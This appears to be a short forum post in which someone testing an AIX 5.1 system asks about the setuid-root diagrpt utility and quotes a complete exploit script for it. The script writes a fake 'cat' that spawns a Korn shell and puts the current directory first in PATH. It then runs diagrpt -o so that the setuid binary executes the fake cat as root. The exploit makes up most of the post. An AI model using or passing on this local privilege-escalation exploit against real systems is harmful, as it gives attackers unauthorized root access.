I'm testing an AIX 5.1 system which has the suid root

I cannot find info (I have googled) on what to call the
executable I place in the $DIAGDATADIR directory.

Searching for 'diagrpt' on Groups@Google reveals the following:

#!/bin/sh
# Create a script which will spawn a korn shell.
   echo '#!/bin/sh' >cat
   echo 'echo "** r00t **"' >>cat
   echo '/usr/bin/ksh' >>cat
# Make it executable.
   chmod +x cat
# Make sure the current directory comes first in
# your $PATH.
   oldPath=$PATH
   export PATH="`pwd`:$oldPath"
# run diagrpt with the -o option so it will try
# to cat some diagnostics reports for us...
/usr/lpp/diagnostics/bin/diagrpt -o
